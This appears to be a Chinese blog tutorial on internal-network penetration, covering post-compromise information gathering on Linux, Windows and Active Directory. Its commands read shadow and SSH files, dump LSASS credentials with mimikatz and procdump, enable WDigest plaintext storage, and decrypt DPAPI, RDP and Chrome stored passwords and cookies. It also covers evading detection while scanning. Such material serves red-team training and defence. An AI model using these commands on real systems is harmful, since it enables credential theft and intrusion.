内网渗透必看:Linux/Windows/ 域环境信息收集全手册

inux 主机信息收集

1、Linux 用户信息收集

查看Linux用户信息

在获取服务器控制权限之后,要先看 Linux 用户的信息

whoami   
id -un
who -a    //返回当前登录系统的所有用户、登陆时间、终端类型

image.png

用户组信息收集命令

cat /etc/group

image.png

查看系统历史登陆用户的记录

last

image.png

查看系统配置的sudo权限规则

cat /etc/sudoers

image.png

查看用户加密密码信息

cat /etc/shadow
cat /etc/passwd

image.png

2、Linux 网络信息收集

获取目标主机网络接口信息

获取网络信息有助于绘制网络拓扑

ifconfig -a
ip addr

image.png

可以通过执行命令获取防火墙的规则列表,可以帮助我们了机主机的端口过滤策略,寻找可用的端口或者服务

iptables -L -n

image.png

信息,用于发现主机和外部连接通信的情况

netstat -anpt  //所有tcp连接
netstat -anpu  //所有udp连接

image.png

查看路由表以及邻近主机信息

route
ip route
ip neigh    //查看arp缓存

image.png

3、收集Linux系统信息

lsb_release -a     //Linux 发行版信息
uname -a           //内核信息
uname -n           //查看系统主机名
uname -m           //查看系统内核架构
hostname           //查看系统主机名
cat /proc/version  //查看内核编译信息
cat /etc/*-release //查看发行版的详细版本信息
cat /proc/cpuinfo  //查看cpu型号、核心数

4、收集Linux进程与服务信息

查看Linux进程和服务可以发现主机的web服务以及数据库服务,docker 服务等等内容

ps aux
top
cat /etc/services

image.png

5、收集Linux历史命令信息

用户使用过的命令可能会有一些敏感操作,比如修改密码等等

history

cat ~/.bash_history

image.png

6、收集Linux目录权限信息

快速确定可以写入和执行的目录,对后续上传文件执行payload有帮助

可写入的目录
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null

可执行的目录
find / -perm -o+x -type d 2>/dev/null

7、收集Linux 文件信息

查看邮件信息

/var/mail

查看日志信息

/var/log

查看定时任务

sudo crontab -u username -l

cat /etc/crontab

查看系统环境信息

env

查看ssh公私钥信息

~/.ssh
/etc/ssh

Windows 主机信息收集

1、收集windows用户信息

whoami /all

image.png

2、收集 Windows 网络信息

ipconfig /all
netstat -r             //获

image.png

image.png

3、收集 Windows 进程信息

netstat -ano

image.png

4、收集Windows补丁信息

可以更好的帮助判断可用的漏洞来进行提权

systeminfo

image.png

5、收集 Windows软件信息

Get-WmiObject -Class Win32_Product

image.png

查注册表,可以查到安装的所有软件

$Path = @(
‘HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*’,
‘HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall*’,
‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*’,
‘HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall*’
)

$Items = Get-ItemProperty -Path $Path -ErrorAction SilentlyContinue
$Items | Where-Object DisplayName | Select-Object -Property

DisplayName, DisplayVersion, InstallDate, UninstallString

image.png

查看服务信息

sc query state=all

image.png

6、收集 Windows 计划任务

schtasks

image.png

Get-ScheduledTask    //一样的效果

image.png

7、查看共享信息

查看共享资源信息

net share

image.png

net view

8、查看远程桌面连接历史记录中保存的凭证

cmdkey /l

image.png

9、LSA 凭证获取

在具备相应权限的情况下,管理员可以利用工具提取 lsass.exe 进程中国呢存储的 Windows 用户登陆哈希,然后把这些哈希值进一步通过 MImikatz 工具来进行破解。这里直接讲使用 mimikatz 获取,不过实战中因为有杀软,很少直接运行,多采用的是 dump + 离线分析。

mimikatz获取

1、执行 mimikatz.exe2、利用 privilege::debug 命令提升到调试权限3、采用 sekurlsa::logonpasswords 命令执行密码抓取操作。

image.png

不过现在的Windows server 2012 R2 和 Windows 10 不会直接显示明文密码

image.png

Cobalt Strike 中 dump hashes 获取

image.png

在因为系统默认禁止在内存中保存明文密码,可通过修改注册表的方式实现修改

Reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

利用ProcDump 和 Mimikatz 离线读取 lsass.dmp

因为现在很多主机都会装杀软,导致无法直接获取Windows保存的身份凭证。所以使用这个方法替代。微软原生工具 (白利用) 使用带有微软签名的工具导出内存

procdump.exe -ma lsass.exe lsass.dmp

然后把 lsass.dmp 文件拿到本地系统。在Mimikatz 工具中使用

sekurlsa::logonpasswords full

导出lsass.dmp 文件中存储的所有密码和哈希值

image.png

10、DPAPI Key 凭证获取

数据保护api,是Windows中广泛应用的加密机制,主要用于数据的加密和解密。比如对edge 浏览器和chrome等浏览器保存的敏感数据。加密解密操作主要依赖主密钥

C:\Users\123\AppData\Local\Microsoft\Edge\User Data>type “Local State”

主密钥主要在这个文件中

image.png

这里可以利用 Mimikatz 执行命令获取主密钥

privilege::debug
sekurlsa::dpapi

image.png

同样也可以使用 ProcDump 工具将lsass.exe进程的内存内容导出为 dmp格式的转储文件。然后利用 mimikatz 工具加载dmp文件,提取主密钥。

11、RDP 凭证获取

RDP账户密码也是采用dpapi 相关的函数进行加密处理的,所以获取到主密钥也就可以解密这些凭证信息拿到密码。

cmdkey -l

image.png

这里查询到本地保存到RDP凭证,这里使用的是cmd命令

dir /a %userprofile%\AppData\Local\Microsoft\Credentials*

image.png

后就可以利用 Mimikatz工具获取特定凭证文件对应的guidMasterKey

mimikatz# dpapi::cred /in:C:\Users\hanmengzi\AppData\Local\Microsoft\Credentials[凭证文件]

这个凭证文件就是上面找到的DFBE开头的文件执行完成之后就可以通过 Mimikatz 的

sekurlsa::dpapi 命令查询 guid 对应的主密钥

image.png

这个MasterKey就是主密钥获取到了主密钥之后就可以对RDP文件中的CredentialBlob 字段进行解密

dpapi::cred /in:C:\Users\qax\AppData\Local\Microsoft\Credentials[凭证文件] /masterkey:

image.png

还可以通过访问 Windows 注册表来获取 RDP 连接的历史记录,在RDP凭证通常存储在注册表中

reg query HKEY_USERS

image.png

image.png

然后就可以读取注册表

HKEY_USERS[SID]\SOFTWARE\Microsoft\Terminal Server Client\Servers

这下面的内容可以获取到连接过的主机ip

HKEY_USERS\S-1-5-21-3248289176-602487271-2728542675-1000\SOFTWARE\Microsoft\Terminal Server Client\Servers\IP

这里输入具体ip可以得到 RDP连接时使用的用户名

12、获取浏览器账户信息

浏览器用久了之后会在里面存很多密码,所以在浏览器中的账户密码和cookie信息很有用chrome 浏览器就是使用 sqlite 数据库存储的cookie信息,并且采用dpapi加密机制保存的数据。

dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Network\Cookies”

还可以获取账户密码信息

dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect

网络信息收集

在大型的企业内部网络中,可以对主机内部的c段和b段进行扫描。比如可以使用fscan等工具

./fscan_amd64 -h 192.168.166.0/24 -np

这可以不使用 icmp探测,使用-np同时,fscan默认会使用内置的poc进行扫描,这种可能会被直接察觉,使用使用 -nopoc

./fscan_amd64 -h 192.168.166.0/24 -nopoc

Windows 域信息收集

在大型企业中,很多都是在用域,所以很有必要对域进行信息收集首先要判断主机是否在域中。

ipconfig /all

image.png

首先查看dns信息,如果主机在域中,并且当前用户是域用户,就可以开启域内的信息收集

net config workstation

这个命令可以查询当前主机所属的域

image.png

控制器组的信息

net group “Domain Controllers” /domain

1、收集用户组列表信息

检索域内所有用户组的列表

net group /domain

默认情况下, Domain Admins和 Enterprise Admins有对域内所有域控制器的完全控制权限。

2、收集域密码策略

net accounts /domain

这里会获取当前域环境中用户密码安全以及复杂性要求。

3、net 命令收集域信息

   
命令 说明
net view /domain:xxx 查询域内所有计算机
net view /domain:xxxx 查看指定域内在线的计算机列表
net group “domain computers” /domain 域内所有计算机名
net group /domain 查询域内所有用户组列表
net localgroup administrators 获取域内置 administrors 组
net group “domain computers” /domain 查看域成员计算机列表
net accounts /domain 获取域密码策略设置

4、WMI 框架信息收集

wmic useraccount get /all

获取域内所有用户信息

image.png

5、 dsquery 信息收集

dsquery 是Windows系统为 ad 域环境设计的工具

dsquery computer:用于查找目录中的计算机。

dsquery contact:用于查找目录中的联系人。

dsquery subnet:用于查找目录中的子网。

dsquery group:用于查找目录中的组。

dsquery ou:用于查找目录中的组织单位。

dsquery site:用于查找目录中的站点。

dsquery server:用于查找目录中的AD DC/LDS实例。

dsquery user:用于查找目录中的用户。

dsquery quota:用于查找目录中的配额规定。

dsquery partition:用于查找目录中的分区。

dsquery *:用通用的LDAP查询来查找目录中的任何对象。

6、通过 SPN(服务主体名称)信息收集

在域环境部署服务的时候,需要在 ad 域中为服务注册一个 spn,这个spn会跟服务登陆账户进行关联,通常是由服务类型,主机名,端口号组成,帮助客户端找到和验证目标服务。

spn主要分为两类,一类用于注册域内机器账户,另一类用户注册域内用户,通过执行命令,可以了解当前域内所有 spn

setspn -Q /

因为 spn 查询是 kerberos 协议中的常规操作,所以安全设备很难判断客户端向 KDC 发送包含 spn 服务票据的请求是否存在恶意。

7、通过 Power View 收集域信息

在Windows环境下使用 PowerView 脚本之前,需要导入脚本

SET-ExecutionPolicy RemoteSigned

把执行策略改为 RemoteSigned 就可以让本地脚本不需要签名就可以运行在PowerShell 命令行环境中,运行

Import-Module .\PowerView.ps1

导入模块,然后执行

Get-NetDomain

就可以获取当前用户所在域的全部信息。

● 获取当前用户名和域信息:Get-NetUser● 列出域控制器信息:Get-NetDomainController● 查找域用户:Find-NetUser -UserName username● 列出域计算机信息:Get-NetComputer● 查找域组信息:Get-NetGroup● 列出域策略信息:Get-NetPolicy● 查找域共享信息:Get-NetShare● 查找域内管理员组成员:Get-NetLocalGroup -GroupName “Administrators”● 查找本地管理员组成员:Find-LocalAdminAccess● 查找域内管理员权限的机器:Invoke-EnumerateLocalAdmin● 查找域内可用的PowerShell会话:Get-PSSession/Get-PSSessionConfiguration● 查找域内的会话和RDP会话:Get-NetSession● 查找域内可访问的共享目录:Find-InterestingFile-Path “\hostname\share”● 查找域内可访问的系统信息:Get-NetLoggedon● 查找域内可访问的用户的历史记录:Get-NetUser -UserName username | Get-UserEvent

8、使用 BloodHound 收集信息

sharphound 有二进制和 ps1 两种版本供用户选择,可以把sharpHound.exe 传到主机内进行收集

SharpHound.exe -c all

如果有 PowerShell 环境可以执行 ps1 脚本来收集所需要的数据(脚本需要管理员权限)

powershell -exec bypass -command “Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all”

这里执行过之后会出现有一个zip的压缩包,导入到 bloodhound 中就可以

image.png

image.png

常用查询功能

● 查询所有域管理员:all Domain Admins。● 映射域信任:Map Domain Trusts。● 查找到达域管理员的最短路径:Shortest Paths to Domain Admins。● 查找具有DCSync权限的主体:Principals with DCSync Rights。● 具有外部域组成员身份的用户:Users with Foreign Domain Group Membership。● 具有外部域组成员身份的组:Groups with Foreign Domain Group Membership。● 无约束委派系统的最短路径:Shortest Paths to Unconstrained Delegation Systems。● 从所属主体到域管理员的最短路径:Shortest Paths to Domain Admins from Owned Principals。● 高价值目标的最短路径:Shortest Paths to High Value Targets。

image.png

tips

可能写的不全,如果大家有别的方式方法可以分享一下哦

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容